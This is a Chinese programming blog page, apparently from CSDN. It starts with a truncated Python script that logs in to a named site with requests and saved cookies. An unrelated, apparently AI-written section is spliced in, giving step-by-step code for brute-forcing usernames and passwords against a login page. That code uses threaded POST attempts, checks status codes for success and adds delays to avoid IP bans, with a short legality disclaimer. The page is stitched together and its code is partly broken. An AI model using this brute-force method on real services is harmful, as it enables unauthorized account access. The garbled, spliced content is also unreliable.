Python爬虫带用户名密码登录

# -*- coding: utf-8 -*-
"""
Created on Wed Jun  6 13:18:58 2018

@author: Lenovo
"""

# -*- coding: utf-8 -*-

import requests
import urllib
import random
from datetime import datetime
# python2 和 python3的兼容代码
try:
    # python2 中
    import cookielib
    print(f"user cookielib in python2.")
except:
    # python3 中
    import http.cookiejar as cookielib
    print(f"user cookielib in python3.")

# session代表某一次连接
huihuSession = requests.session()
# 因为原始的session.cookies 没有save()方法,所以需要用到cookielib中的方法LWPCookieJar,这个类实例化的cookie对象,就可以直接调用save方法。
huihuSession.cookies = cookielib.LWPCookieJar(filename = "huihuCookies.txt")

userAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
header = {
    # "origin": "https://passport.huihu.cn",
    "Referer": "http://hh.haiper.com.cn/w/wander/user/login/",
    'Use
Python中的requests库主要用于HTTP请求,如果要用它来进行用户名密码爆破通常涉及到自动化登录尝试,特别是针对那些支持弱认证或固定密码的服务。这需要结合一些网络爬虫技巧和基本的并发处理。以下是一个简单的步骤描述: 1. 导入所需模块:首先,你需要导入`requests`、`time`(用于延迟)以及可能的`threading`或`concurrent.futures`(用于并发请求)。 ```python import requests from time import sleep ``` 2. 定义目标URL和数据结构:指定你要尝试登录网站地址,然后创建一个包含多个用户名和预设密码的字典或列表。 ```python url = 'http://your-target-site/login' credentials = { "username": ["username1", "username2", ...], "password": ["password1", "password2", ...] } ``` 3. 判断响应:编写一个函数,尝试用一组凭证发送POST请求,并检查响应状态码是否表示成功(如200或3XX)。如果是,则登录成功。 ```python def login_attempt(username, password): response = requests.post(url, auth=(username, password)) if response.status_code == 200: print(f"Found credentials: {username}:{password}") # 可能还需要分析页面内容确认真正登录 return True ``` 4. 并发请求:为了提高效率,你可以使用线程池或异步任务(比如`ThreadPoolExecutor`或`asyncio`)并行地尝试每个组合。 ```python from concurrent.futures import ThreadPoolExecutor with ThreadPoolExecutor() as executor: futures = {executor.submit(login_attempt, username, password) for username, passwords in credentials.items() for password in passwords} for future in futures: try: result = future.result() if result: break # 找到一组有效凭证就退出循环 except requests.exceptions.RequestException as e: print(f"Failed to authenticate: {e}") ``` 5. 添加延迟:为了避免过于频繁的请求导致IP被封禁,可以在每次尝试之间添加适当的时间间隔。 ```python sleep(1) # 示例中每秒只尝试一次 ``` 请注意,这种做法可能会违反服务条款,甚至构成非法入侵,因此仅适用于学习或研究目的。在实际应用中,你应该遵守合法途径获取访问权限。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值